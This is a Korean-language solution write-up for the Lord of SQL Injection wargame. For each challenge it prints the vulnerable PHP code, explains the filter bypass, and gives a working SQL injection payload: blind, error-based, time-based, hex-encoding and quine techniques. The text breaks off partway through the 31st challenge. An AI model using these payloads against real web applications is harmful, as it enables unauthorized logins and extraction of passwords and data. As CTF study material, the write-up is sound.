Lord of SQL Injection(LOS) Complete Solution

The Lord of the SQLI : The Fellowship of the SQLI, 2019

https://los.rubiya.kr/
정도원(rubiya) 님이 운영하시는 LOS 워게임의 문제 풀이입니다.

1. gremlin

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) solve("gremlin");
  highlight_file(__FILE__);
?>

최소한의 필터링만 적용된 기본형의 문제입니다.
싱글쿼트를 넣어주는 것으로 간단하게 우회할 수 있습니다.

Solution : id='||1#

2. cobolt

<?php
  include "./config.php"; 
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("cobolt");
  elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>"; 
  highlight_file(__FILE__); 
?>

이전 문항과 거의 다르지 않습니다.
싱글쿼트을 삽입하고 뒷부분을 한 줄 주석으로 처리해 주면 우회가 가능합니다.

Solution : id=admin'#

3. goblin

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~"); 
  $query = "select id from prob_goblin where id='guest' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("goblin");
  highlight_file(__FILE__); 
?>

쿼트가 필터링 되어있어 통상적인 방법으로는 문자열을 삽입할 수 없지만
mysql 에서는 문자열을 16진수 형태의 hex 코드로 대체할 수 있습니다.

Solution : no=0 union select 0x61646d696e

4. orc

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello admin</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); 
  highlight_file(__FILE__); 
?>

실제 패스워드를 알아내는 것이 문제의 목표입니다.
like 문을 사용하여 한글자씩 대입 해보면 답을 알 수 있습니다.

Solution : '||pw like 'BRUTE_HERE%

5. wolfman

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~"); 
  $query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("wolfman"); 
  highlight_file(__FILE__); 
?>

whitespace를 차단한다고 나와있지만 실제로는 Space(%20)만이 필터링 됩니다. mysql 에서는 Space(%20)를 제외하고도 %09, %0a, %0b, %0c, %0d, %2b, 괄호를 구분자로서 사용이 가능합니다.

Solution : pw='||1%09limit%091,1#

6. darkelf

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect();  
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("darkelf"); 
  highlight_file(__FILE__); 
?>

쿼트 삽입으로 로그인을 우회할 수 있지만
guest 계정이 상위에 위치하고 있기에 조건문을 조작하거나
limit, order by 등을 사용해 주어야 합니다.

Solution1 : pw='||id='admin'#
Solution2 : pw='||1 limit 1,1#

7. orge

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge"); 
  highlight_file(__FILE__); 
?>

테이블에 계정이 여러개 존재하는 상황에서 admin의 비밀번호를 알아내는 문제입니다. 조건식에 쓰이는 and, or이 필터링 되었지만 mysql 에서 and, or는 각각 &&, || 으로 대체 가능합니다. 바꿔 사용하고, like 문을 사용하여 브루트포싱 해보면 답을 알아낼 수 있습니다.

Solution : pw='||id="admin"&&pw like'BRUTE_HERE%

8. troll

<?php  
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match("/admin/", $_GET[id])) exit("HeHe");
  $query = "select id from prob_troll where id='{$_GET[id]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id'] == 'admin') solve("troll");
  highlight_file(__FILE__);
?>

mysql 의 비교문에서는 대소문자를 구분하지 않습니다.
따라서 Admin 등을 삽입해 필터링을 우회할 수 있습니다.

Solution : id=Admin

9. vampire

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~");
  $_GET[id] = strtolower($_GET[id]);
  $_GET[id] = str_replace("admin","",$_GET[id]); 
  $query = "select id from prob_vampire where id='{$_GET[id]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("vampire"); 
  highlight_file(__FILE__); 
?>

대소문자 구분없이 admin 문자열을 삭제하고 있습니다.
하지만 정규식 변환이 아닌 단순 치환이므로 adadminmin등의 문장을 삽입하여 우회할 수 있습니다.
이런 코드는 종종 보안 취약점을 발생시키는데, 제거되는 문장을 알고 있다면 chrome auditor, waf 등을 쉽게 우회할 수 있도록 해주는 마법의 단어가 되기도 합니다.

Solution : id=adadminmin

10. skeleton

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("skeleton"); 
  highlight_file(__FILE__); 
?>

이전 문제를 모두 해결하였다면, 쉽게 해결할 수 있는 문제입니다.

Solution1 : pw='||id="admin"#
Solution2 : pw='||id="admin"||'1

11. golem

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem"); 
  highlight_file(__FILE__); 
?>

or, and, substring, = 등을 차단하고 있지만 동일한 기능을 하는 ||, &&, mid, like 으로 대체할 수 있습니다.

Solution : pw='||id like"admin"&&pw like'%

12. darkknight

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe"); 
  $query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight"); 
  highlight_file(__FILE__); 
?>

싱글쿼트는 필터링 되어 있지만 쿼트처리가 되어있지 않은 no 파라미터에서 더블쿼트 또는 hex 인코딩를 사용하면 Blind injection이 가능합니다.

Solution : pw=1&no=1||id like "admin" && pw like "BRUTE_HERE%"

13. bugbear

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe"); 
  $query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear"); 
  highlight_file(__FILE__); 
?>

필터링 되는 단어가 조금 늘어났습니다.
지금까지 애용해왔던 like도 필터링 되므로 instr 함수를 사용해 한글자씩 브루트포싱 해 줍시다.

Solution : pw=1&no=1||instr(id,"admin") && instr(pw,"BRUTE_HERE")

14. giant

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(strlen($_GET[shit])>1) exit("No Hack ~_~"); 
  if(preg_match('/ |\n|\r|\t/i', $_GET[shit])) exit("HeHe"); 
  $query = "select 1234 from{$_GET[shit]}prob_giant where 1"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result[1234]) solve("giant"); 
  highlight_file(__FILE__); 
?>

화이트 스페이스 문제입니다.
mysql에서는 구분자로서 %09, %0a, %0b, %0c, %0d, %2b 를 사용할 수 있는데
%2b는 문맥에 의존적이므로 이 문제에서는 사용이 불가하네요.
따라서 %0b, %0c 가 문제의 답입니다.

Solution : shit=%0c

15. assassin

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_assassin where pw like '{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("assassin"); 
  highlight_file(__FILE__); 
?>

놀랍게도 패스워드 검증에 like 문이 사용되었습니다.
like문에서 %는 정규식의 .* 와 동일한 역할을 합니다.
따라서 % 앞에 한글자씩 브루트포싱 해보면 금새 답을 알 수 있습니다.
guest 와 admin 계정의 패스워드 앞 부분이 일치하니
guest 계정만 나온다고 좌절하지 말고 응답 하나하나 주의깊게 확인합시다.

Solution : pw=BRUTE_HERE%

16. zombie_assassin

<?php
  include "./config.php"; 
  login_chk();
  $db = dbconnect();
  $_GET['id'] = strrev(addslashes($_GET['id']));
  $_GET['pw'] = strrev(addslashes($_GET['pw']));
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_zombie_assassin where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) solve("zombie_assassin"); 
  highlight_file(__FILE__); 
?>

addslashes 함수는 특수문자의 앞에 \(backslash) 를 삽입하여 SQL 문에서 구문으로서의 쿼트 삽입을 방지하는데 strrev 함수는 백슬래시를 고려하지 않습니다.
따라서 id 파라미터에 더블쿼트 등의 addslashes 의 영향을 받는 문자(싱글쿼트를 제외한)를 입력하여 주면 id 파라미터의 쿼트가 백슬래시의 영향을 받아 일반문자열로 취급됩니다. 이후 pw 파라미터에서 항상 참이 나오도록 하고 뒷부분을 주석으로 만들어주면 해결됩니다.

Solution : id="&pw=#1||

17. succubus

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[id])) exit("HeHe"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) solve("succubus"); 
  highlight_file(__FILE__); 
?>

이전 문제와 동일한 방법으로 해결할 수 있습니다.
다만 id 파라미터에 \(backslash) 를 직접적으로 삽입해 줍니다.

Solution : id=\&pw=||1#

18. nightmare

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)|#|-/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(strlen($_GET[pw])>6) exit("No Hack ~_~"); 
  $query = "select id from prob_nightmare where pw=('{$_GET[pw]}') and id!='admin'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) solve("nightmare"); 
  highlight_file(__FILE__); 
?>

글자수가 극단적으로 제한되어 있습니다.
주석처리에 사용되는 -, # 가 필터링 되어 있으므로
;%00를 통해 쿼리문을 종결시켜야 합니다.
pw 와의 비교문에서는 다양한 연산자를 통해 참으로 만들어 줄 수 있습니다.

Solution1 : pw=')=0;%00
Solution2 : pw=')&1;%00
Solution3 : pw=')*1;%00
Solution4 : pw=')/1;%00

19. xavis

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/regex|like/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_xavis where id='admin' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_xavis where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("xavis"); 
  highlight_file(__FILE__); 
?>

like 연산자는 필터링 되었지만, instr 함수를 사용하면 패스워드를 브루트포싱 할 수 있습니다.

Solution : pw='||id="admin" and instr(pw,"BRUTE_HERE")#

20. dragon

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_dragon where id='guest'# and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("dragon");
  highlight_file(__FILE__); 
?>

id 조건식 뒷 부분이 주석처리 되어 있는데 개행문자를 삽입하면 주석에서 탈출할 수 있습니다.

Solution : pw=%0a && 0||id="admin"#

21. iron_golem

<?php
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/sleep|benchmark/i', $_GET[pw])) exit("HeHe");
  $query = "select id from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(mysqli_error($db)) exit(mysqli_error($db));
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("iron_golem");
  highlight_file(__FILE__);
?>

오류코드을 출력해 주는 Error based 문제입니다. updatexml 을 시도해 보았지만 pw 컬럼의 값이 utf32 자료형으로 되어있어 바로 확인 할 수는 없었습니다.
하지만 if 을 이용해 런타임에서 오류를 발생시키는 3e200 * 3e200 연산식을 삽입하면 blind injection 이 가능합니다.

Solution : pw='||if(ord(mid(pw,1,1))>50000,1,3e200*3e200)#

22. dark_eyes

<?php
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/col|if|case|when|sleep|benchmark/i', $_GET[pw])) exit("HeHe");
  $query = "select id from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(mysqli_error($db)) exit();
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("dark_eyes");
  highlight_file(__FILE__);
?>

이전 문제와 비슷하지만, if, case, when 등이 필터링 되므로 if문이 아닌 다른 방법을 사용해야만 합니다. exp 함수에 710 이상의 인자를 주면 double value out of range 오류가 발생한다는 것을 이용하여 exp(710*(조건식)) 의 형태로 Error based blind injection을 시도할 수 있습니다.

Solution : pw='||exp(710*(ord(substr((pw),1,1))>=40))#

23. hell_fire

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|proc|union/i', $_GET[order])) exit("No Hack ~_~");
  $query = "select id,email,score from prob_hell_fire where 1 order by {$_GET[order]}";
  echo "<table border=1><tr><th>id</th><th>email</th><th>score</th>";
  $rows = mysqli_query($db,$query);
  while(($result = mysqli_fetch_array($rows))){
    if($result['id'] == "admin") $result['email'] = "**************";
    echo "<tr><td>{$result[id]}</td><td>{$result[email]}</td><td>{$result[score]}</td></tr>";
  }
  echo "</table><hr>query : <strong>{$query}</strong><hr>";

  $_GET[email] = addslashes($_GET[email]);
  $query = "select email from prob_hell_fire where id='admin' and email='{$_GET[email]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['email']) && ($result['email'] === $_GET['email'])) solve("hell_fire");
  highlight_file(__FILE__);
?>

이전 문제와 동일한 방식으로 해결할 수 있습니다.

Solution : order=exp(710*(ord(substr((email),1,1))>=5000))

24. evil_wizard

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|proc|union|sleep|benchmark/i', $_GET[order])) exit("No Hack ~_~");
  $query = "select id,email,score from prob_evil_wizard where 1 order by {$_GET[order]}"; // same with hell_fire? really?
  echo "<table border=1><tr><th>id</th><th>email</th><th>score</th>";
  $rows = mysqli_query($db,$query);
  while(($result = mysqli_fetch_array($rows))){
    if($result['id'] == "admin") $result['email'] = "**************";
    echo "<tr><td>{$result[id]}</td><td>{$result[email]}</td><td>{$result[score]}</td></tr>";
  }
  echo "</table><hr>query : <strong>{$query}</strong><hr>";

  $_GET[email] = addslashes($_GET[email]);
  $query = "select email from prob_evil_wizard where id='admin' and email='{$_GET[email]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['email']) && ($result['email'] === $_GET['email'])) solve("evil_wizard");
  highlight_file(__FILE__);
?>

이전 문제와 동일하게 오류를 발생시키는 연산식으로 Blind injection을 수행할 수 있습니다.

Solution : order=if(email like "%",3e300*3e300,1)

25. green_dragon

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\'|\"/i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match('/prob|_|\.|\'|\"/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id,pw from prob_green_dragon where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']){
    if(preg_match('/prob|_|\.|\'|\"/i', $result['id'])) exit("No Hack ~_~");
    if(preg_match('/prob|_|\.|\'|\"/i', $result['pw'])) exit("No Hack ~_~");
    $query2 = "select id from prob_green_dragon where id='{$result[id]}' and pw='{$result[pw]}'";
    echo "<hr>query2 : <strong>{$query2}</strong><hr><br>";
    $result = mysqli_fetch_array(mysqli_query($db,$query2));
    if($result['id'] == "admin") solve("green_dragon");
  }
  highlight_file(__FILE__);
?>

쿼리의 결과값을 사용해 또 다른 쿼리를 실행하는 이중 쿼리 문제입니다.
입력값과 결과값 모두에서 쿼트를 필터링 하는데, hex 인코딩을 사용하면 우회할 수 있습니다.

Solution : id=\&pw=union select 0x5c,0x756e696f6e2073656c6563742030783631363436643639366523#

26. red_dragon

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\./i', $_GET['id'])) exit("No Hack ~_~");
  if(strlen($_GET['id']) > 7) exit("too long string");
  $no = is_numeric($_GET['no']) ? $_GET['no'] : 1;
  $query = "select id from prob_red_dragon where id='{$_GET['id']}' and no={$no}";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) echo "<h2>Hello {$result['id']}</h2>";

  $query = "select no from prob_red_dragon where id='admin'"; // if you think challenge got wrong, look column name again.
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['no'] === $_GET['no']) solve("red_dragon");
  highlight_file(__FILE__);
?>

본 문항은 본래 비교연산자와 no 부분에 16진수 인코딩된 문자열을 삽입하여 pw 컬럼을 알아내는 문제였는데 php 버전을 업데이트 하면서 is_numeric 함수가 hex값에 대해 false를 반환하도록 변경되어 no값을 알아내는 문제로 변경되었습니다.

php의 is_numeric 함수는 숫자의 앞 부분에 %09, %20, %0a, %0b, %0c, %0d 가 오는 것을 허용합니다. 따라서 id 파라미터에 끝에 #을 삽입하여 뒷 부분을 주석처리해 주고 no 파라미터의 앞 부분에 개행문자를 삽입해 주면 비교식을 통해 no값을 알아낼 수 있습니다.

Solution : id='||no>#&no=%0a1000000

27. blue_dragon

  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\./i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match('/prob|_|\./i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_blue_dragon where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(preg_match('/\'|\\\/i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match('/\'|\\\/i', $_GET[pw])) exit("No Hack ~_~");
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>";

  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_blue_dragon where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("blue_dragon");
  highlight_file(__FILE__);
?>

쿼리 수행을 먼저 한 후에 필터링을 하는 조금 특이한 구성을 하고 있습니다. 결과값도 확인이 불가능하지만, Time based를 사용하면 필터링에 구애받지 않고 pw를 알아낼 수 있습니다.

Solution : id=&pw='||id="admin" and if(pw like '%',sleep(1),0)#

28. frankenstein

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(|\)|union/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id,pw from prob_frankenstein where id='frankenstein' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(mysqli_error($db)) exit("error");

  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_frankenstein where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("frankenstein");
  highlight_file(__FILE__);
?>

Error based 문제인데 괄호가 필터링 되어 있습니다.
하지만 case when .. then .. else .. end 구문을 이용하면 괄호없이 Blind injection이 가능합니다.

Solution : pw='||id='admin' and case when pw like '%' then 3e300*3e300 else 1 end#

29. phantom

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect("phantom");

  if($_GET['joinmail']){
    $query = "insert into prob_phantom values(0,'{$_SERVER[REMOTE_ADDR]}','{$_GET[joinmail]}')";
    mysqli_query($db,$query);
    echo "<hr>query : <strong>{$query}</strong><hr>";
  }

  $rows = mysqli_query($db,"select no,ip,email from prob_phantom where no=1 or ip='{$_SERVER[REMOTE_ADDR]}'");
  echo "<table border=1><tr><th>ip</th><th>email</th></tr>";
    while(($result = mysqli_fetch_array($rows))){
    if($result['no'] == 1) $result['email'] = "**************";
    echo "<tr><td>{$result[ip]}</td><td>{$result[email]}</td></tr>";
  }
  echo "</table>";

  $_GET[email] = addslashes($_GET[email]);
  $query = "select email from prob_phantom where no=1 and email='{$_GET[email]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['email']) && ($result['email'] === $_GET['email'])){ mysqli_query($db,"delete from prob_phantom where no != 1"); mysqli_query($db,"alter table prob_phantom AUTO_INCREMENT=2"); solve("phantom"); }
  highlight_file(__FILE__);
?>

insert 문에서는 대상 테이블과 동일한 테이블에서 데이터를 참조하는 것이 금지되어 있는데 as 문을 이용해 테이블에 별칭을 정의해주면 우회할 수 있습니다.

Solution : joinmail='),(0,"<my ip>",(select email from prob_phantom as a limit 1))#

30. ouroboros

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|rollup|join|@/i', $_GET['pw'])) exit("No Hack ~_~");
  $query = "select pw from prob_ouroboros where pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['pw']) echo "<h2>Pw : {$result[pw]}</h2>";
  if(($result['pw']) && ($result['pw'] === $_GET['pw'])) solve("ouroboros");
  highlight_file(__FILE__);
?>

Quine SQL Injection

https://p.osix.kr/quine-sql-injection/

이전에 작성한 게시글로 설명을 대체하겠습니다.

Solution : pw=' union select replace(replace('" union select replace(replace("$",char(34),char(39)),char(36),"$") #',char(34),char(39)),char(36),'" union select replace(replace("$",char(34),char(39)),char(36),"$") #') #

31. zombie

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect("zombie");
  if(preg_match('/rollup|join|ace|@/i', $_GET['pw'])) exit("No Hack ~_~");
  $query = "select pw from prob_zombie where pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
